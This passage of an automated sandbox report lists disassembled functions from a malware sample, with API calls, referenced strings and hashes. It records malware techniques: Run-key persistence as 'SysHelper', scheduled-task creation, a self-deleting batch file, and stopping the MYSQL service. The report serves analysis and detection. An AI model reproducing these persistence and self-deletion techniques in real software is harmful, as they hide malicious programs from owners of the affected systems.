Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
@echo off:trydel ", xrefs: 0041262A
D, xrefs: 00412720
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
del ", xrefs: 00412674
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006C5300), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

